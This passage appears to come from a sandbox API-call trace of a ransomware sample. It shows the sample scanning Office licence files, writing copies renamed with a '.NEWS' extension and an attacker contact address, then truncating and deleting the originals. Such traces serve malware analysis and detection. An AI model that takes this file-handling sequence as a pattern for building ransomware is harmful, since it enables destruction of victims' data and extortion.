Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms")) returned 1 [0189.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0189.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0189.200] lstrlenW (lpString=".doc") returned 4 [0189.200] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.200] lstrlenW (lpString=".docx") returned 5 [0189.200] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.200] lstrlenW (lpString=".pdf") returned 4 [0189.200] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.200] lstrlenW (lpString=".xls") returned 4 [0189.200] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.200] lstrlenW (lpString=".xlsx") returned 5 [0189.200] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.200] lstrlenW (lpString=".ppt") returned 4 [0189.200] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0189.200] lstrlenW (lpString=".zip") returned 4 [0189.200] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.200] lstrlenW (lpString=".rar") returned 4 [0189.200] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.200] lstrlenW (lpString=".bz2") returned 4 [0189.200] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.201] lstrlenW (lpString=".7z") returned 3 [0189.201] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0189.201] lstrlenW (lpString=".dbf") returned 4 [0189.201] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0189.201] lstrlenW (lpString=".1cd") returned 4 [0189.201] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0189.201] lstrlenW (lpString=".jpg") returned 4 [0189.201] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0189.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0189.201] lstrlenW (lpString=".doc") returned 4 [0189.201] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.201] lstrlenW (lpString=".docx") returned 5 [0189.201] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.201] lstrlenW (lpString=".pdf") returned 4 [0189.201] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.201] lstrlenW (lpString=".xls") returned 4 [0189.201] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.201] lstrlenW (lpString=".xlsx") returned 5 [0189.201] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.201] lstrlenW (lpString=".ppt") returned 4 [0189.201] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0189.201] lstrlenW (lpString=".zip") returned 4 [0189.201] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.201] lstrlenW (lpString=".rar") returned 4 [0189.201] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.201] lstrlenW (lpString=".bz2") returned 4 [0189.201] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.201] lstrlenW (lpString=".7z") returned 3 [0189.201] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0189.202] lstrlenW (lpString=".dbf") returned 4 [0189.202] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0189.202] lstrlenW (lpString=".1cd") returned 4 [0189.202] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0189.202] lstrlenW (lpString=".jpg") returned 4 [0189.202] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.202] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0189.202] lstrlenW (lpString="MondoR_OEM_Perp-ppd.xrm-ms") returned 26 [0189.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0189.203] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=26464) returned 1 [0189.203] CloseHandle (hObject=0x4f4) returned 1 [0189.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms")) returned 0x220 [0189.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0189.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0189.204] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.204] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0189.205] GetLastError () returned 0x0 [0189.205] ReadFile (in: hFile=0x4f4, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x6760, lpOverlapped=0x0) returned 1 [0189.207] WriteFile (in: hFile=0x514, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x6770, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x6770, lpOverlapped=0x0) returned 1 [0189.208] ReadFile (in: hFile=0x4f4, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.208] WriteFile (in: hFile=0x514, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x108, lpOverlapped=0x0) returned 1 [0189.209] SetEndOfFile (hFile=0x514) returned 1 [0189.209] CloseHandle (hObject=0x514) returned 1 [0189.209] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.209] SetEndOfFile (hFile=0x4f4) returned 1 [0189.212] CloseHandle (hObject=0x4f4) returned 1 [0189.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0189.212] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms")) returned 1 [0189.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0189.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0189.213] lstrlenW (lpString=".doc") returned 4 [0189.213] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.213] lstrlenW (lpString=".docx") returned 5 [0189.213] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.213] lstrlenW (lpString=".pdf") returned 4 [0189.213] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.213] lstrlenW (lpString=".xls") returned 4 [0189.214] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.214] lstrlenW (lpString=".xlsx") returned 5 [0189.214] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.214] lstrlenW (lpString=".ppt") returned 4 [0189.214] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0189.214] lstrlenW (lpString=".zip") returned 4 [0189.214] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.214] lstrlenW (lpString=".rar") returned 4 [0189.214] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.214] lstrlenW (lpString=".bz2") returned 4 [0189.214] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.214] lstrlenW (lpString=".7z") returned 3 [0189.214] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0189.214] lstrlenW (lpString=".dbf") returned 4 [0189.214] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0189.214] lstrlenW (lpString=".1cd") returned 4 [0189.214] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0189.214] lstrlenW (lpString=".jpg") returned 4 [0189.214] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0189.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0189.214] lstrlenW (lpString=".doc") returned 4 [0189.214] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.214] lstrlenW (lpString=".docx") returned 5 [0189.214] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.215] lstrlenW (lpString=".pdf") returned 4 [0189.215] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.215] lstrlenW (lpString=".xls") returned 4 [0189.215] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.215] lstrlenW (lpString=".xlsx") returned 5 [0189.215] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.215] lstrlenW (lpString=".ppt") returned 4 [0189.215] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0189.215] lstrlenW (lpString=".zip") returned 4 [0189.215] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.215] lstrlenW (lpString=".rar") returned 4 [0189.215] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.215] lstrlenW (lpString=".bz2") returned 4 [0189.215] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.215] lstrlenW (lpString=".7z") returned 3 [0189.215] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0189.215] lstrlenW (lpString=".dbf") returned 4 [0189.215] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0189.215] lstrlenW (lpString=".1cd") returned 4 [0189.215] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0189.215] lstrlenW (lpString=".jpg") returned 4 [0189.215] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.215] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0189.215] lstrlenW (lpString="MondoR_OEM_Perp-ul-oob.xrm-ms") returned 29 [0189.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0189.216] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=11582) returned 1 [0189.216] CloseHandle (hObject=0x4f4) returned 1 [0189.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0189.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0189.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0189.217] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.217] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0189.218] GetLastError () returned 0x0 [0189.218] ReadFile (in: hFile=0x4f4, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x2d3e, lpOverlapped=0x0) returned 1 [0189.219] WriteFile (in: hFile=0x514, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x2d40, lpOverlapped=0x0) returned 1 [0189.220] ReadFile (in: hFile=0x4f4, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.220] WriteFile (in: hFile=0x514, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x10e, lpOverlapped=0x0) returned 1 [0189.220] SetEndOfFile (hFile=0x514) returned 1 [0189.221] CloseHandle (hObject=0x514) returned 1 [0189.221] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.221] SetEndOfFile (hFile=0x4f4) returned 1 [0189.224] CloseHandle (hObject=0x4f4) returned 1 [0189.224] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0189.224] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms")) returned 1 [0189.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0189.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0189.225] lstrlenW (lpString=".doc") returned 4 [0189.225] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.225] lstrlenW (lpString=".docx") returned 5 [0189.225] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.225] lstrlenW (lpString=".pdf") returned 4 [0189.225] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.225] lstrlenW (lpString=".xls") returned 4 [0189.226] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.226] lstrlenW (lpString=".xlsx") returned 5 [0189.226] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.226] lstrlenW (lpString=".ppt") returned 4 [0189.226] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0189.226] lstrlenW (lpString=".zip") returned 4 [0189.226] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.226] lstrlenW (lpString=".rar") returned 4 [0189.226] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.226] lstrlenW (lpString=".bz2") returned 4 [0189.226] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.226] lstrlenW (lpString=".7z") returned 3 [0189.226] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0189.226] lstrlenW (lpString=".dbf") returned 4 [0189.226] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0189.226] lstrlenW (lpString=".1cd") returned 4 [0189.226] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0189.226] lstrlenW (lpString=".jpg") returned 4 [0189.226] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0189.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0189.226] lstrlenW (lpString=".doc") returned 4 [0189.226] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.226] lstrlenW (lpString=".docx") returned 5 [0189.226] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.226] lstrlenW (lpString=".pdf") returned 4 [0189.226] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.226] lstrlenW (lpString=".xls") returned 4 [0189.226] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.227] lstrlenW (lpString=".xlsx") returned 5 [0189.227] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.227] lstrlenW (lpString=".ppt") returned 4 [0189.227] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0189.227] lstrlenW (lpString=".zip") returned 4 [0189.227] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.227] lstrlenW (lpString=".rar") returned 4 [0189.227] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.227] lstrlenW (lpString=".bz2") returned 4 [0189.227] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.227] lstrlenW (lpString=".7z") returned 3 [0189.227] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0189.227] lstrlenW (lpString=".dbf") returned 4 [0189.227] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0189.227] lstrlenW (lpString=".1cd") returned 4 [0189.227] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0189.227] lstrlenW (lpString=".jpg") returned 4 [0189.227] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.227] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0189.227] lstrlenW (lpString="MondoR_OEM_Perp-ul-phn.xrm-ms") returned 29 [0189.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0189.228] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=19927) returned 1 [0189.228] CloseHandle (hObject=0x4f4) returned 1 [0189.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0189.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0189.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0189.229] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.229] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0189.230] GetLastError () returned 0x0 [0189.230] ReadFile (in: hFile=0x4f4, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x4dd7, lpOverlapped=0x0) returned 1 [0189.530] WriteFile (in: hFile=0x514, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0189.531] ReadFile (in: hFile=0x4f4, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.531] WriteFile (in: hFile=0x514, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x10e, lpOverlapped=0x0) returned 1 